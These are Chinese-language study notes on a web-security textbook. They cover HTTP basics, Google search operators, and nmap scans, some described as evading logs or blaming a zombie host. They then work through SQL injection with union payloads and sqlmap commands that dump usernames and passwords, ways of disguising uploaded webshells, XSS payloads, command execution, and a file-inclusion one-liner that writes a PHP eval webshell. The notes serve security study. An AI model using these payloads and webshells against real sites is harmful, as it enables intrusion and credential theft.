《Web安全深度剖析》
第一篇 基础篇
第二章 深入HTTP请求流程
1.常见HTTP请求与响应格式
//请求头
GET /favicon.ico HTTP/1.1 //请求行
Host: www.baidu.com //请求头
Cache-Control: no-cache //缓存指令
//请求标头
Connection: keep-alive //连接属性
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 //客户端详细
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 //请求标头内容类型
Referer: https://www.baidu.com/ //请求发起者
Accept-Encoding: gzip, deflate, br //支持数据压缩格式
Accept-Language: zh-CN,zh;q=0.9 //支持语言
Cookie: BIDUPSID=ghjkhljo;
//响应头
HTTP/1.1 200 OK //响应行
Accept-Ranges: bytes //请求标志物
Content-Encoding: gzip //数据压缩格式
Content-Length: 1966 //响应正文长度
Content-Type: image/x-icon //响应正文长度
Date: Fri, 17 Sep 2021 04:00:06 GMT
Etag: "423e-5bd257db4e500" //资源标识符
Last-Modified: Wed, 10 Mar 2021 02:33:24 GMT
Server: Apache
2.HTTP请求方法
1.Get
服务器选择性接受内容参数,发送数据有大小限制,没有请求内容
2.Post
有请求内容,发送数据无大小限制
3.Put
上传请求数据并要求服务器保存
4.Delete
删除服务器指定资源
5.Trace
回显请求,测试或诊断
6.Connect
动态切换隧道代理
7.Head
验证http的有效性、可访问性和最近改变,速度最快
8.Options
获取目的资源所支持的通信选项
3.HTTP状态码
1xx: 信息提示 100 – 101
2xx: 成功 200 – 206
3xx: 重定向 300 – 305
4xx: 错误 400 – 415
5xx: 服务器错误 500 --505
4.HTTP信息
-
请求头
-
host
指定被请求资源的主机和端口号
-
User-Agent
将操作系统、浏览器信息告诉服务器
-
Referer
访问该url的上一个url
-
Range
请求实体部分内容, 此请求头用于多线程
-
Cookie
请求者身份
-
Accept
指定客户端接受哪些MIME类型信息
-
Accept - Charset
指定客户端接受字符集
-
x-forward-for
请求IP, 可多个
-
-
响应头
-
Server
服务器端的Web服务器名
-
Set - Cookie
向客户端设置Cooike
-
Last - Modified
资源最后修改时间
-
Location
重定向, 常配合302状态码
-
Refresh
定时刷新浏览器
-
-
通用头
通用头域包含请求和响应消息都支持的头域。对通用头域的扩展要求通讯双方都支持此扩展,如果存在不支持的通用头域,一般将会作为实体头域处理。
-
实体头
请求和响应信息都可以传送一个实体头
-
Content - Type
Content - Type实体头用于接收方指示实体的介质类型
-
Content - Encoding
必须采取于Content - Encoding相同的编码机制
-
Content - Length
指示实体正文长度
-
Last - Modified
指示资源最后修改日期与时间
-
第三章 信息探测
1. Google语法
site 指定域名
-site 排除该域名
intext 正文内容存在关键字
intitle 标题内容存在关键字
info 一些基本信息
inurl URL存在关键字
filetype 搜索指定文件类型
2. Nmap
nmap简单扫描
root@kali:~# nmap 192.168.93.222
ORT STATE SERVICE
7/tcp open echo
9/tcp open discard
......
多主机扫描命令:
root@kali:~# nmap 192.168.93.1-100
(扫描192.168.93.1-192.168.93.100之间的主机)
扫描该文件内IP地址:
root@kali:~# nmap -iL xxx.txt
(扫描xxx.txt文件内保存的IP地址列表)
扫描特定主机的指定端口:
root@kali:~# nmap -p 80, 192.168.93.222
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
扫描技术分为: TCP SYN扫描, TCP Connect()扫描, TCP FIN扫描, UDP扫描, 认证扫描, FTP代理扫描…
半开放扫描 – TCP SYN SCAN(sS)
(不需要完整的握手,因此不会产生日志记录)
root@kali:~# nmap -sS 192.168.93.222
**全面的系统探测 **
root@kali:~# nmap -A -v 192.168.93.222
秘密扫描 – FIN SCAN(sF)
(完全不建立TCP连接,从而减少被日志记录. 但是因为有防火墙的存在目标主机可能存在IDS和IPS系统的存在)
root@kali:~# nmap -sF 192.168.93.222
UDP SCAN(sU)
(如果主机禁止响应ICMP协议,可给目标主机发送UDP数据包. 当端口关闭时, 返回ICMP不可达数据包,反之忽略这个数据包, 即丢弃而不返回任何信息. 此扫描针对UDP端口, 不需要发送SYN包)
root@kali:~# nmap -sU 192.168.93.222
认证扫描 --(不会,下一个)
FTP反弹攻击 – bounce attack(b)
(需连接防火墙后一台FTP服务器做代理,接着进行扫描,如果FTP服务器里有可读写的目录,你还可以对目标端口发送任意数据 后半段nmap不能帮你)
可用来渗透内网
root@kali:~# nmap -b username:password@server:port
(除了server之外都阔以选,)
空闲扫描 – IDLE SCAN(sL)
(僵尸主机扫描,推卸责任)
root@kali:~# nmap -p 端口号 -Pn(无ping命令) -sI 僵尸主机IP 目标主机IP
防火墙穿透扫描 – (Pn)
root@kali:~# nmap -Pn -A 80,81 192.168.93.222
主机操作系统 – (o)
root@kali:~# nmap -p 80,81 192.168.93.222
使用脚本扫描-- (–script)
root@kali:~# nmap --script all 192.168.93.222
//使用全部脚本
root@kali:~# nmap -p 80 --script=sql-injection.nse 192.168.93.222
//sql注入扫描
第二篇 原理篇
第五章 SQL注入漏洞
OWASP 2008 - 2010年SQL注入漏洞连续保持第一
1.漏洞原理
源代码:
select count(*) from admin where username = 'admin' and password = 'password'
注入后:
select count(*) from admin where username = ''or 1 = 1--' and password = ''
可以发现 and password = '' 被注释掉了,无法生效
2.漏洞分类
常见分类为: 数字型和字符型
-
数字型注入
输入参数为整型时, 如: ID、年龄等
SQL语句: select * from table where id = 8
测试步骤:
尝试让语句报错,确认注入点 select * from table where id = 8'
让语句恢复正常,让返回数据与原始数据相同 select * from table where id = 8 and 1 = 1
逻辑判断 select * from table where id = 8 and 1 = 2
-
字符型注入
输入参数为字符串时, 如: 账户等
字符型与数字型区别为: 字符型需要单引号闭合, 数字型不需要
SQL语句: select * from table where username = 'admin' and password = 'password'
测试:
尝试闭合SQL语句 select * from table where username = 'admin' and 1 = 1 --' and password = 'password' 可以看见 and password = 'password' 被注释失效了
还有一些其他的注入
POST注入:注入字段在POST数据中 Cookie注入:注入字段在cookie中 延时注入:使用数据库延时函数判断注入 搜索注入:注入处为搜索 base64注入:注入字符经过base64加密
3.常见数据库注入
数据库有很多种, 常用的有SqlServer、MySQL
在进行SQL注入时, 思路大多数都是相同的. 利用数据库错误回显的信息进行利用
1.SQL server
https://blog.csdn.net/weixin_44332119/article/details/120377686
Microsoft SQL 数据库函数有哪些? - SQL Server | Microsoft Docs
系统函数
select db_name():返回数据库名称
select suser_name():返回用户登入标识名
select user_name():返回指定的标识号, 数据库用户名
col_length():返回列的定义长度
col_name():返回数据库列名称,该列具有响应的表示符号和列标识号
object_id():返回数据库对象标识号
联合查询
union select
union all select
区别 union all select 会自动去除重复数据且按默认排序
敏感信息回显位判断
order by 3
union all select unll,2,unll,unll
爆库举例
用户登入名:
?id=2 and 1=2 union all select 1,(select suser_name()),'3',4
用户名:
?id=2 and 1=2 union all select 1,(select user_name()),'3',4
库名:
?id=2 and 1=2 union all select 1,(select db_name()),'3',4
表名:
?id=2 and 1=2 union all select 1,(select quotename(table_name) from information_schema.tables for xml path('')),'3',4
//for xml path函数主要是用于把多行查询结果变为一行显示
//quotename函数的作用是把每行查询结果用[ ]默认包裹起来
列名:
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
//sysobjects系统表
//col_name()数据库列名称
//object_id()指定名称的索引
表内容
?id=2 and 1=2 union all select 1,(select top 1 password from manage) from sysobjects),'3',4
2.MySQL
思路和SQL server一样
MySQL常用注释
# : 从'#'到行尾
-- :从 '--' 到行尾, 后面需要加一个或多个空格
/**/ :从 '/*' 到后面 '*/'中间的字符
select id/*!55555,username*/ from users
若 MySQL 版本号 ≥ 5.55.55 语句将执行
信息回显位写法 SQL server 不一样, 其他差不多
order by 3 #
union all select 1,2,3,4
4.Sql Map
注入点判断:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2"
获取数据库:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --dbs
获取表:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --tables -D "库名"
// 获取数据库表 --tables
// 指定数据库 -D
获取列:
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --columns -T “表名” -D "库名"
// 指定表名 -T
python3 sqlmap.py -u "http://1.1.1.1/new_list.asp?id=2" --dump -C "username,password" -T “表名” -D "库名"
// 指定字段名称 -C
// 转存数据 --dump
5.SQL注入防御
- 严格的数据类型
- 使用预编译语句
- 使用安全性高的框架
- 特殊字符转义
第六篇 上传漏洞
找文件上传点, 上传伪装成正常文件的一句话木马
伪装姿势:
-
将一句话木马插入上传文件
-
抓包该文件名
1.将content-type字段改为image/gif
2.先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名
-
改 文件头,、文件后缀名
-
文件截断
-
CMS、编辑器漏洞
第七篇 XSS跨站脚本漏洞
XSS主要类别: 反射型、存储型和DOM型
https://blog.csdn.net/weixin_44332119/article/details/120115905
原理 :
通过构造HTML代码闭合, 照成XSS攻击
# 正常url: http://1.1.1.1/search=aaa
# 正常url: http://1.1.1.1/search=</h3><script>alert('xss');</script><h3>
<html>
<head>
<meta charset="UTF-8">
<title>反射形xss</title>
</head>
<body>
<form role="search" action="" method="GET">
<input type="text" name="search" placeholder="请输入要搜索的内容">
<button type="submit">搜索</button>
</form>
<h3>你搜索的结果内容是:</h3><script>alert('xss');</script><h3>
//上行攻击代码出现处
</h3>
</body>
</html>
可能存在的利用点
-
输入数据的标签内部
<div>${input}</div> <div><script>alert(/xss/)</script></div>
-
输入数据的属性内部
<div class="${input}"></div> <div class=""><script>alert(/xss/)</script>"></div> <div class="" onclick="alert(/xss/)"></div>
-
输入的数据在事件中输出
<img src="xx.jpg" onerror="${input}"> <img src="xx.jpg" onerror=""><script>alert(/xss/)</script>"> <img src="xx.jpg" onerror="" onclick="alert(/xss/)">
-
在CSS中输出
<style type="text/css"> body {background-img:url("${input}");} </style> body {background-img:url("javascript:alert('xss')");}
-
在 script 标签中输出
<script> var usrname = "${input}" </script> var usrname = "1";alert(/xss/);//"此处的//为javascropt简称js的注释标记
第八篇 命令执行漏洞
1.OS命令执行
可以直接执行系统层或应用层命令
原因 : 命令可连接执行
如 : https://blog.csdn.net/weixin_44332119/article/details/120157303
2.PHP代码执行
可以执行OS命令的函数一共有7个:system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()
3.Java命令执行
Java SE存在runtime类,提供exec方法以执行字符串命令
第九篇 文件包含
如 : https://blog.csdn.net/weixin_44332119/article/details/120157303
文件包含漏洞分为本地包含和远程包含, 常出现在PHP中
本地包含 需要PHP开启 include() 、require()
远程包含需要开启 远程包含选项(默认关闭)
利用方式
-
远程包含一句话
新建一个shell.php,内容为php一句话木马内容
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[123]);?>")?>
-
包含Apache日志
在日志文件 (access.log) 中, 会记录网站访问记录
利用bp防止代码被转码, 将可执行的PHP代码写入日志文件中
-
利用PHP封装协议
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 可以用来读取php文件的内容,直接包含的话会执行PHP文件 php://input在远程包含选项开启的情况下,可以用此协议执行PHP语句 zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流